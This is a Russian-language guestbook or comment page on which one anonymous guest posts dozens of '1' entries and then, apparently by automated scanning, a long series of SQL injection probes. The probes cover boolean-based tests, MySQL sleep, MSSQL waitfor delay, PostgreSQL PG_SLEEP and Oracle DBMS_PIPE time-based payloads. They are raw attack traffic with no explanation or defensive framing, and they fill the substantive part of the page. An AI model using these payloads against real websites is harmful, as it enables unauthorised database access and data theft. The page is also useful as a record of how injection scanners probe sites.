Гость ( IP: 92.*.*.68 ) 17.08.2022 01:55
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:55
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:56
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:56
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:57
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 01:59
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:01
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:02
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:02
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:03
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:04
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:04
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:05
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:05
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:05
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:05
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:05
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:07
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:07
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:07
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:07
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:07
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:08
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:08
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:08
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:08
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:08
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:08
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:08
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:08
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:09
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:09
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:09
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:09
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:09
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:09
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:09
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:10
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:10
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:11
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:12
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:13
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:14
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:15
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:16
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:16
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:17
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:18
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:18
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:18
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:18
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:19
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:21
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:21
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:21
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:21
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:21
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:21
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:22
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:22
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:22
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:22
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:22
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:22
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:22
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:22
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:22
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:22
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:22
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:22
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:22
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:23
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:23
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:24
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:26
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:27
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:29
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:30
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:32
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:33
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:34
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:35
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:36
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:37
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:38
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:39
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:39
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:40
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:41
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:41
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:41
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:41
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:41
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:42
1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:42
-1 OR 2+368-368-1=0+0+0+1 --
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:42
-1 OR 3+368-368-1=0+0+0+1 --
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:42
-1 OR 3*2
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:42
-1 OR 3*2>(0+5+368-368) --
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:42
-1 OR 2+573-573-1=0+0+0+1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:42
-1 OR 3+573-573-1=0+0+0+1
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:42
-1 OR 3*2
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:43
-1 OR 3*2>(0+5+573-573)
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:43
-1' OR 2+229-229-1=0+0+0+1 --
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:43
-1' OR 3+229-229-1=0+0+0+1 --
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:44
-1' OR 3*2
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:44
-1' OR 3*2>(0+5+229-229) --
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:44
-1' OR 2+805-805-1=0+0+0+1 or '960iFRIZ'='
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:44
-1' OR 3+805-805-1=0+0+0+1 or '960iFRIZ'='
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:45
-1' OR 3*2
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:45
-1' OR 3*2>(0+5+805-805) or '960iFRIZ'='
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:45
-1" OR 2+275-275-1=0+0+0+1 --
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:45
-1" OR 3+275-275-1=0+0+0+1 --
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:45
-1" OR 3*2
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:45
-1" OR 3*2>(0+5+275-275) --
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:46
if(now()=sysdate(),sleep(15),0)
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:48
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:49
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:50
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:51
-1; waitfor delay '0:0:15' --
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:52
-1); waitfor delay '0:0:15' --
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:53
1 waitfor delay '0:0:15' --
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:56
18W4isgy'; waitfor delay '0:0:15' --
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:57
-5 OR 238=(SELECT 238 FROM PG_SLEEP(15))--
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:58
-5) OR 818=(SELECT 818 FROM PG_SLEEP(15))--
Гость ( IP: 92.*.*.68 ) 17.08.2022 02:59
-1)) OR 188=(SELECT 188 FROM PG_SLEEP(15))--
Гость ( IP: 92.*.*.68 ) 17.08.2022 03:02
tygq6SS4' OR 860=(SELECT 860 FROM PG_SLEEP(15))--
Гость ( IP: 92.*.*.68 ) 17.08.2022 03:05
1lnXC8NC') OR 935=(SELECT 935 FROM PG_SLEEP(15))--
Гость ( IP: 92.*.*.68 ) 17.08.2022 03:10
friRHw16')) OR 225=(SELECT 225 FROM PG_SLEEP(15))--
Гость ( IP: 92.*.*.68 ) 17.08.2022 03:15
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
Гость ( IP: 92.*.*.68 ) 17.08.2022 03:19
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
Гость ( IP: 92.*.*.68 ) 17.08.2022 03:19
1'"
Гость ( IP: 92.*.*.68 ) 17.08.2022 03:19
1????%2527%2522
Гость ( IP: 92.*.*.68 ) 17.08.2022 03:19
@@QTeGj
Вы не авторизованы. При отправке сообщения, в качестве автора будет указан "Гость". Вход | Регистрация